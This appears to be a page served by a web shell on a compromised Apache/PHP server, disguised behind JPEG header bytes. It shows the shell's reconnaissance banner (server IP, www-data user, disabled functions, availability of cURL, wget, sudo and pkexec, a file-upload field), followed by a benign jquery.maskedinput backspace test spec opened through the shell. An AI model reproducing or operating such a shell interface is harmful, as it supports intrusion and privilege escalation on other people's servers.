����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.147.140.129 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/admin/assets/plugins/jquery.maskedinput/spec/ |
Upload File : |
feature("Backspace Key", function() { story('User presses backspace with cursor to the right of a mask literal',function(){ scenario('character at cursor matches definition to the left',function(){ given("an input with a mask definition of '9-99'", function(){ input .mask("9-99") .mashKeys("123"); }); given("the input has cursor positioned to the right of literal", function(){ input.caret(2); }); when("hitting the backspace key",function(){ input.mashKeys(function(keys){keys.type(keys.backspace)}); }); then("value should be correct",function(){ expect(input).toHaveValue('2-3_'); }); and("caret position should be correct",function(){ expect(input.caret().begin).toEqual(0); }); }); scenario('character at cursor does not match definition to the left',function(){ given("an input with a mask definition of 'a-99'", function(){ input .mask("a-99") .mashKeys("z12"); }); given("the input has cursor positioned to the right of literal", function(){ input.caret(2); }); when("hitting the backspace key",function(){ input.mashKeys(function(keys){keys.type(keys.backspace)}); }); then("value should be correct",function(){ expect(input).toHaveValue('_-12'); }); and("caret position should be correct",function(){ expect(input.caret().begin).toEqual(0); }); }); }); story('User presses backspace with cursor on last character',function(){ scenario('cursor character matches definition to the left',function(){ given("an input with a mask definition of '99'", function(){ input .mask("99") .mashKeys("12"); }); given("the input has cursor positioned on first character", function(){ input.caret(1); }); when("hitting the backspace key",function(){ input.mashKeys(function(keys){keys.type(keys.backspace)}); }); then("value should be correct",function(){ expect(input).toHaveValue('2_'); }); and("caret position should be correct",function(){ expect(input.caret().begin).toEqual(0); }); }); scenario('cursor character does not match definition to the left',function(){ given("an input with a mask definition of '9a'", function(){ input .mask("9a") .mashKeys("1z"); }); given("the input has cursor positioned on first character", function(){ input.caret(1); }); when("hitting the backspace key",function(){ input.mashKeys(function(keys){keys.type(keys.backspace)}); }); then("value should be correct",function(){ expect(input).toHaveValue('_z'); }); and("caret position should be correct",function(){ expect(input.caret().begin).toEqual(0); }); }); describe('There is a mask literal between the two placeholders',function(){ scenario('character at end matches definition of first position',function(){ given("an input with a mask definition of '9-9'", function(){ input .mask("9-9") .mashKeys("12"); }); given("the input has cursor positioned on literal", function(){ input.caret(1); }); when("hitting the backspace key",function(){ input.mashKeys(function(keys){keys.type(keys.backspace)}); }); then("value should be correct",function(){ expect(input).toHaveValue('2-_'); }); and("caret position should be correct",function(){ expect(input.caret().begin).toEqual(0); }); }); scenario('character at end does not match definition of first position',function(){ given("an input with a mask definition of '9-9'", function(){ input .mask("9-a") .mashKeys("1z"); }); given("the input has cursor positioned on literal", function(){ input.caret(1); }); when("hitting the backspace key",function(){ input.mashKeys(function(keys){keys.type(keys.backspace)}); }); then("value should be correct",function(){ expect(input).toHaveValue('_-z'); }); and("caret position should be correct",function(){ expect(input.caret().begin).toEqual(0); }); }); }); }); });